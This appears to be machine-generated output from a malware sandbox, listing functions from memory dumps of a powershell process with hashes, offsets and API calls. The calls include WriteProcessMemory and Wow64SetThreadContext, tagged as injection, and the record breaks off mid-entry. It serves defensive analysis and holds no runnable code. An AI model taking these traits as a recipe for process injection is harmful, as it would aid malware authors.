Instruction ID: 84fb74525ae8dfe6081d43f253f58a7cb59fc38fec6efc6c0e6f9e1120e809bc
Opcode Fuzzy Hash: a150416c5385097a9b14ea8e6b08269d5d0ea93ae6beae84cb1ea7c93ace39c1
Instruction Fuzzy Hash: 8711EBF5604246CFF7358F08D840A61FB75EF92A11F3980EADA098F646E772D829CB51

Function 07BF6D40 Relevance: 2.6, Strings: 2, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 07BF6D85
tP^q, xrefs: 07BF6DDB

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$tP^q
API String ID: 0-1785267070
Opcode ID: 1f18c964bc57abe0c97b980601662cb6ef5e718a688e79c360c8379bbcab62dc
Instruction ID: 72e0605f2421fc02adcf652be67675d83cb2be94ad43136613041285162cd123
Opcode Fuzzy Hash: 1f18c964bc57abe0c97b980601662cb6ef5e718a688e79c360c8379bbcab62dc
Instruction Fuzzy Hash: 8511E6B5A001059BEB248F58C944B6ABBB2EB95F18F18C4AADE045F344C732DC59C7E1

Function 07BF0B50 Relevance: 2.6, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07BF0B6A
$^q, xrefs: 07BF0B8B

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 25b12fa1645534f64c6ee78d27927eacc2bb95e68f49b421a99fa5981f1c8484
Instruction ID: bdec22c40b8971a2c6d0939234c7b0cd4fed27c8c658fd935a2f72962ff8ecd7
Opcode Fuzzy Hash: 25b12fa1645534f64c6ee78d27927eacc2bb95e68f49b421a99fa5981f1c8484
Instruction Fuzzy Hash: 7501A9F5604206DBF7249E45C840F66F7A5EB81A18F18849AFE084B163D731D808C750

Function 07526CE8 Relevance: 1.9, APIs: 1, Instructions: 411
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2719835908.0000000007520000.00000040.00000800.00020000.00000000.sdmp, Offset: 07520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7520000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d344f095488068bbb018f2119374adda2fee3cf54532a3f4f692a1c34f77886b
Instruction ID: 3fb228239c4d31f17a86a8d99dccd0d2422b2d3a9b7ea6385fe6b8db0fc47980
Opcode Fuzzy Hash: d344f095488068bbb018f2119374adda2fee3cf54532a3f4f692a1c34f77886b
Instruction Fuzzy Hash: 6402F7B5A00219DFCB14CF98D984ADEBBB2FF49310F248559E905AB795C731ED82CB90

Function 07800644 Relevance: 1.7, APIs: 1, Instructions: 203
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0780082A

Memory Dump Source

Source File: 00000006.00000002.2721987485.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7800000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4ada7a496679fd0cbde0b0c0894e43521585db67a1ae2764653db8d9d4a24823
Instruction ID: c0cd55348b770c4ecc1ad3f1d7aa8e62c93cea9b196d21dd1426d0e232db148d
Opcode Fuzzy Hash: 4ada7a496679fd0cbde0b0c0894e43521585db67a1ae2764653db8d9d4a24823
Instruction Fuzzy Hash: 948126B1D002599FDB50CFA9C9857AEBBF2FF48314F148129E858E7284D7759882CF82

Function 07800650 Relevance: 1.7, APIs: 1, Instructions: 201
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0780082A

Memory Dump Source

Source File: 00000006.00000002.2721987485.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7800000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 854800306ef95f3d9ac1359c1192e3da4a6f65a1e5355c6d2a7906623270d2aa
Instruction ID: ce9fcd936cc85f43ea2419c4fdb090ad439ba705e0c68e003d27ea59e980de77
Opcode Fuzzy Hash: 854800306ef95f3d9ac1359c1192e3da4a6f65a1e5355c6d2a7906623270d2aa
Instruction Fuzzy Hash: DF8115B1D006599FDB50CFA9C8857AEBBF2FF48314F148129E859E7284DB759881CF82

Function 077FFC6C Relevance: 1.6, APIs: 1, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 077FFD61

Memory Dump Source

Source File: 00000006.00000002.2721872316.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77f0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 82ab74f73edf27c13b5b8e3d27943f6277117e4f2a60fdd23fe17097984cd03c
Instruction ID: e207766e90a3d523c486820550417c1caa082011b62c9122559d323a67821fd2
Opcode Fuzzy Hash: 82ab74f73edf27c13b5b8e3d27943f6277117e4f2a60fdd23fe17097984cd03c
Instruction Fuzzy Hash: 9D4185B1D002599FDB10CFA9D991BEEBBB1EF48350F14842AE815AA394DB749492CF81

Function 077FFC78 Relevance: 1.6, APIs: 1, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 077FFD61

Memory Dump Source

Source File: 00000006.00000002.2721872316.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77f0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2028172de80f223292cc678820645accf2ad3bf96a72c843493b5a79183c6b67
Instruction ID: 859694b6a204e5ff13750731f18dec79068bd4b74cfc2764c4eb9a223e893adf
Opcode Fuzzy Hash: 2028172de80f223292cc678820645accf2ad3bf96a72c843493b5a79183c6b67
Instruction Fuzzy Hash: 0C4162B1D002599FDB14CFA9C991BDEBBB1FF48350F14842AE819AB394DB749492CF81

Function 07800D48 Relevance: 1.6, APIs: 1, Instructions: 72threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07800DCE

Memory Dump Source

Source File: 00000006.00000002.2721987485.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7800000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: f051905a9490111be23c7bdadceea296a1b8ff61972e2708f6bde6013daee453
Instruction ID: 776475e903f1ac2d8b1612ff24ff2595f34c45fa48aeffb1ee9cb02cb62ca89a
Opcode Fuzzy Hash: f051905a9490111be23c7bdadceea296a1b8ff61972e2708f6bde6013daee453
Instruction Fuzzy Hash: 14218CB1900209CFDB50DFA9C4857EEBFF4EF88324F60842AD859A7240C778A545CFA5

Function 078015D9 Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 07801670

Memory Dump Source

Source File: 00000006.00000002.2721987485.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7800000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 60611d077c02ece6837d0a6fcb13e2e8189a046eef5580e9b8c8746ee3438340
Instruction ID: 7c42e2a81e6db3e7d345a0cc2decf072555d42ddfda3dd7e0736fee22245ac18
Opcode Fuzzy Hash: 60611d077c02ece6837d0a6fcb13e2e8189a046eef5580e9b8c8746ee3438340
Instruction Fuzzy Hash: 4C2146B5D003599FCB10CFA9C985BEEBBF0FF48320F14842AE959A7250C7789954CBA5

Function 078015E0 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 07801670

Memory Dump Source

Source File: 00000006.00000002.2721987485.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7800000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 67132eecac7e6fca5fdb9bccc5bccbdf5368b430b69852f4a9e516ebe8a51ca5
Instruction ID: 3a92311edced2ef96a6053552f55374acb1e20e6c882dd142bc42481a7984999
Opcode Fuzzy Hash: 67132eecac7e6fca5fdb9bccc5bccbdf5368b430b69852f4a9e516ebe8a51ca5
Instruction Fuzzy Hash: 642125B5D003599FCB10CFAAC885BDEBBF4FF48320F14842AE959A7250C7789954CBA4

Function 07800D50 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07800DCE

Memory Dump Source

Source File: 00000006.00000002.2721987485.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7800000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 49f6bd2aa5460ec1cfa4b39c5ea06ca5efe7b8e88eccb29f398e66ad441794c6
Instruction ID: 8513447ebb5c29afd61a4e96f9bdbc5d68d7494924c4ab32164f3668476655c2
Opcode Fuzzy Hash: 49f6bd2aa5460ec1cfa4b39c5ea06ca5efe7b8e88eccb29f398e66ad441794c6
Instruction Fuzzy Hash: 9B212CB1D003098FDB50DFAAC4857EEBBF4EF88324F14842AD559A7240C778A545CFA5

Function 07527158 Relevance: 1.6, APIs: 1, Instructions: 61injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,00000001), ref: 075271E5

Memory Dump Source

Source File: 00000006.00000002.2719835908.0000000007520000.00000040.00000800.00020000.00000000.sdmp, Offset: 07520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7520000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ff86b716ea36c3c7266a91ddec4c5735e63289bd6cff02e96c8a8ebd1b6bb966
Instruction ID: de296f21e9689a949a25daa3f9c46da93adaa5721ab113fe6a8d96b76c9fea70
Opcode Fuzzy Hash: ff86b716ea36c3c7266a91ddec4c5735e63289bd6cff02e96c8a8ebd1b6bb966
Instruction Fuzzy Hash: 7021EEB5A00259DFCB10CF9AD885BDEBBF4FB49320F10842AE919A7350D374A940CBA4

Function 07759270 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

(o^q, xrefs: 07759351

Memory Dump Source

Source File: 00000006.00000002.2720857155.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7750000_powershell.jbxd

Similarity

API ID:
String ID: (o^q
API String ID: 0-74704288
Opcode ID: 98fc188d7a6878028289c2d8c55c6ba19f7b68aa122544261c9503cedfd9bd40
Instruction ID: 82348afeb39acc8a9865150e5ade0b3353c055ae7244a18ccbda9497fd967955
Opcode Fuzzy Hash: 98fc188d7a6878028289c2d8c55c6ba19f7b68aa122544261c9503cedfd9bd40
Instruction Fuzzy Hash: 262182B0A0030ADFDB64CF15C844B6A77A5BF45390F458869EA148B1D0D7F1F884CF51

Function 07BF37F4 Relevance: 1.3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

Strings

$^q, xrefs: 07BF381C

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: $^q
API String ID: 0-388095546
Opcode ID: 0f41a3982e18b6cb1a02743aaf0d65c6acded3e6cdb1ad35efcf9efaf458c626
Instruction ID: 5ce75de1cd79c8de97dacf131bd0e141906b9c48aa93ab616950fe17ef153d3c
Opcode Fuzzy Hash: 0f41a3982e18b6cb1a02743aaf0d65c6acded3e6cdb1ad35efcf9efaf458c626
Instruction Fuzzy Hash: 70F0F0B5A093816FE3228620D448662BBE5EBC2A14F0DC4EBC9448B552EB28C889C752

Function 07BF379D Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

$^q, xrefs: 07BF37C0

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: $^q
API String ID: 0-388095546
Opcode ID: 8f62f389c23a130ee3fe1141c16e407468065c3d60e7ad77811232b69a927472
Instruction ID: 411c3445019ce117f1f5b0a6dbf025e852f923d5e98bd5b4d83dea59c7945acf
Opcode Fuzzy Hash: 8f62f389c23a130ee3fe1141c16e407468065c3d60e7ad77811232b69a927472
Instruction Fuzzy Hash: 22E04FF5E0E2518FF72A4A20E500E51BBA1AB93E11F1E82EFC1004F5A3D57588C9C392

Function 07BF9815 Relevance: .7, Instructions: 739COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69931223ec5f4f7d54ed009ffa90320f647e0ef41fe23c2ac9d011fbb8e11918
Instruction ID: 12a61d92b1cf4030b65d63c9aaed094fcc0731eb62c68035ba15ad93c43eab9c
Opcode Fuzzy Hash: 69931223ec5f4f7d54ed009ffa90320f647e0ef41fe23c2ac9d011fbb8e11918
Instruction Fuzzy Hash: 756219B4A002158FE724CB18C854B59BBB2EF86714F55C0E9D90DAB351CB72ED89CF91

Function 07BF9838 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46efa1c8d3848ba3a9d2d1dfef732e0dd81c68648457e0fcb66862110ad2bcb0
Instruction ID: 2ef5285de1035389d01c2d80587eeb10911035b3edde0501f01a6ae5279345c1
Opcode Fuzzy Hash: 46efa1c8d3848ba3a9d2d1dfef732e0dd81c68648457e0fcb66862110ad2bcb0
Instruction Fuzzy Hash: A06218B4A002158FEB24CB18C854B59BBB2EF86714F55C0E9D90DAB351CB72ED89CF91

Function 07BF8DD8 Relevance: .7, Instructions: 684COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf5ffbf76ec4f19866a90b0101afe2edb55e6f2bb32cc39148d246e1bdef878
Instruction ID: 4baa29ce2a9c19bb96276fc12a1314660ac5839f2cd01dded2fa1c369812facb
Opcode Fuzzy Hash: fbf5ffbf76ec4f19866a90b0101afe2edb55e6f2bb32cc39148d246e1bdef878
Instruction Fuzzy Hash: FB524AB4A003058FEB14CB58C944B6ABBB2FF85714F24C4A9D919AF355DB32EC49CB91

Function 04F085D3 Relevance: .6, Instructions: 642COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2687838595.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40bf2031e2e369d2f1d525a7d0021c98e5f89a54fa815460db4c49fed1ac17d6
Instruction ID: 9637ffc5d680877b56aeaba4e131daa03e1c07a57e70e6e2d7b1686ea8ba1178
Opcode Fuzzy Hash: 40bf2031e2e369d2f1d525a7d0021c98e5f89a54fa815460db4c49fed1ac17d6
Instruction Fuzzy Hash: 6942A030A052589FCB15DF68C490AADBBF2FF89350F24C59AE444AB3A5D735EC46CB90

Function 07BFA36B Relevance: .6, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77f6562923a4a1d1ee1666f57b27b7acf73fa682cd42004e0135c0c3d2f8e8eb
Instruction ID: 0bc8d504242bf35e9e64ca1478cd4ffb8ce19c171f43d5556f3eb379c65a20cb
Opcode Fuzzy Hash: 77f6562923a4a1d1ee1666f57b27b7acf73fa682cd42004e0135c0c3d2f8e8eb
Instruction Fuzzy Hash: 884207B4A002148FE724CB18C855F59BBA2EF86714F55C0E9D90DAB352CB72ED89CF91

Function 07756B5E Relevance: .5, Instructions: 503COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2720857155.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 398217651df4814ad17201a424dc89fa4be5235a87b85e64ed46c030b31b3ce8
Instruction ID: a202128fdec3753b63507915394cbd9a728fdddf7a7817ea9ceea6ea050d1697
Opcode Fuzzy Hash: 398217651df4814ad17201a424dc89fa4be5235a87b85e64ed46c030b31b3ce8
Instruction Fuzzy Hash: A43220B4A002189FDB54CB14C944FAABBB2FB85304F54C5E9DA09AB351CB71ED86CF91

Function 04F091B0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2687838595.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f13e6c915ff60344d8ef248d724d11694cc352c15372d2643cc68cb8c00f65d6
Instruction ID: 9d58e24ae0db4c3ffd94d78d92cb6ab002dd0680b5e3b9a223a8fc5fdc097d36
Opcode Fuzzy Hash: f13e6c915ff60344d8ef248d724d11694cc352c15372d2643cc68cb8c00f65d6
Instruction Fuzzy Hash: 37D10975A012089FCB15CFA8D584E9DBBF2EF88314F15C159E805AB3A6D771EC82DB90

Function 04F02C08 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2687838595.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f0a3811daed406613b5f47ecc33f8f897ba1fa96ea12253a2acc3902a34dbff
Instruction ID: 632f4d7c9d11b183932e58b8fee65599ae89dfb001d340545ede7dbdc2ed6389
Opcode Fuzzy Hash: 9f0a3811daed406613b5f47ecc33f8f897ba1fa96ea12253a2acc3902a34dbff
Instruction Fuzzy Hash: 02916E74A002458FCB05CF99C498AAEFBB1FF88310B2585A9E515AB3A5C735FC51CFA0

Function 04F07658 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2687838595.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 155310a0fd8bc9d66f13e798230c6f8b9962af406f221bbfe39345bcd2b40bff
Instruction ID: c5e5f2d115297616b407eb02fb9b24d5545ae3c0ea402c7c6f15050519ab7129
Opcode Fuzzy Hash: 155310a0fd8bc9d66f13e798230c6f8b9962af406f221bbfe39345bcd2b40bff
Instruction Fuzzy Hash: DE516D7190E3E59FC702EF2CC9A0499BFB0AF4621071941D7D484DB2A3D625EC9DCBA5

Function 04F093D5 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2687838595.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7aa7c9a4de9d36f2079b06f1fed32fce09410fe0e226a01976d527d10197ee
Instruction ID: ebe0ccf69a5c21a10b1e1021aef56c0288cea0176f79f529907fdbde09cde80c
Opcode Fuzzy Hash: cd7aa7c9a4de9d36f2079b06f1fed32fce09410fe0e226a01976d527d10197ee
Instruction Fuzzy Hash: 0A51E874A01209EFCB05CFA8D584A9DBBF6BF88310F24C559E404AB3A5D775EC82DB50

Function 07BF71F8 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca164694949a810077c474ee784f28866d4cf7035c9e994e42df69a5e55cc264
Instruction ID: 69af6414952c7597df9a209af439c2e28fb3c99316ea4bff524c40a7320bdfeb
Opcode Fuzzy Hash: ca164694949a810077c474ee784f28866d4cf7035c9e994e42df69a5e55cc264
Instruction Fuzzy Hash: DC4137B1B002159FDB14AFB988402AEBBA1EFC5B10F5488EADD05DB341DE32D909C7E0

Function 04F02D18 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2687838595.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f07dad25a0adfa76d57131ed55f15868607bd7bce62bec47b6aee0dcf3d05481
Instruction ID: 4ace588e4230dd7bed6e1716a93e41b8ad378d954a5d37f7bcdf6ebb434095e3
Opcode Fuzzy Hash: f07dad25a0adfa76d57131ed55f15868607bd7bce62bec47b6aee0dcf3d05481
Instruction Fuzzy Hash: B9413CB4A016059FCB09CF59C5989AAFBB1FF88310B168599D805AB3A5C736FC51CFA0

Function 07758BD8 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2720857155.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9625e91512d0c4eb33eed30590164afc9077b4221325145673739434354f813f
Instruction ID: 20f266e62aa3a4a7cc3e4ffe4d33fb0d1578847658ad98fc6f845ecbdf5e6faf
Opcode Fuzzy Hash: 9625e91512d0c4eb33eed30590164afc9077b4221325145673739434354f813f
Instruction Fuzzy Hash: 8341D3B4B002089FCB08DF58D44499EBBE6FB88750F248899ED05AF350CB71ED058BE1

Function 07758B9F Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2720857155.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abc06b8b193274b68ebd1257ffc8d99453a72838d79e4f267036665605e61e55
Instruction ID: cb2e44b2f6b218fdfb84fb7ccee5b29ceef37dc6f111a112f90d7e1a28141ae4
Opcode Fuzzy Hash: abc06b8b193274b68ebd1257ffc8d99453a72838d79e4f267036665605e61e55
Instruction Fuzzy Hash: F641B3B4B002089FCB08DF58C440A9DBBE2BB88754F25C899ED05AF351CB71ED058BE2

Function 07BF71D9 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4665539e69f701f1f6d16083db3ae77002e55159e0c84dd3bf8ad6ad7b356d4
Instruction ID: b924cb2b576938f30394a343f84bf8434d2bb163829340f79ad28d63647ff708
Opcode Fuzzy Hash: c4665539e69f701f1f6d16083db3ae77002e55159e0c84dd3bf8ad6ad7b356d4
Instruction Fuzzy Hash: 10313CB1E002149FCB049F7988400ADBBE5FF86A10B6484EADD45EB341DA31DD0AC7E0

Function 04F073E8 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2687838595.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4f00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b12d3ce24f1d4b20fbe10dec5968308dbf46b60bffe781ab64fd611f6859dcf2
Instruction ID: cf5cef82a17f120302593781f36c41f2d17e7e1edfaeaa84c650d386d842bcc3
Opcode Fuzzy Hash: b12d3ce24f1d4b20fbe10dec5968308dbf46b60bffe781ab64fd611f6859dcf2
Instruction Fuzzy Hash: 47313535E00614CFDB24EF79C9446AEB7F2BF88244F108568C416AB354DB35BD46DB91

Function 034290C0 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2681477869.0000000003420000.00000040.00000800.00020000.00000000.sdmp, Offset: 03420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad05f38f3f9ef85d4ec3fa13e2bdd53359dcb2d445ad345d9e839c2b8fbd35e
Instruction ID: 607700f869f41e6cc600de815bcbeb060b818603d0763d369bd43409dd5624c4
Opcode Fuzzy Hash: dad05f38f3f9ef85d4ec3fa13e2bdd53359dcb2d445ad345d9e839c2b8fbd35e
Instruction Fuzzy Hash: B9314978D042299FEB40DFAAC8483EEBBF2AF89301F04806AD415BB341D77849558F99

Function 03424F48 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2681477869.0000000003420000.00000040.00000800.00020000.00000000.sdmp, Offset: 03420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54eed0f93de2118f448bc984a1265aad70fc2142111d28374c2aaf922ef3832c
Instruction ID: b755ed37ba5f799d4bd4ccc77ef9853c17e9ae8f7aa19279239ed30727a0076b
Opcode Fuzzy Hash: 54eed0f93de2118f448bc984a1265aad70fc2142111d28374c2aaf922ef3832c
Instruction Fuzzy Hash: 72316978901218DFD740EFA9C0487AEBFF2FB84308F1181AAC415AF340D7784A85CB59

Function 03424F58 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2681477869.0000000003420000.00000040.00000800.00020000.00000000.sdmp, Offset: 03420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9343e403b4777afde2a3dd2ad90f765c0d62604befe998416ed851952464c5a
Instruction ID: 2baea6d3055bbdc3536a90559d0c9b97ae3964d6e4bcfacd92a7b6ae7347ff25
Opcode Fuzzy Hash: e9343e403b4777afde2a3dd2ad90f765c0d62604befe998416ed851952464c5a
Instruction Fuzzy Hash: 2B313878901218DFD740EFA9C1487AEBFF2FB88309F5185AAD415AF340D7784A858B59

Function 0342FE28 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2681477869.0000000003420000.00000040.00000800.00020000.00000000.sdmp, Offset: 03420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
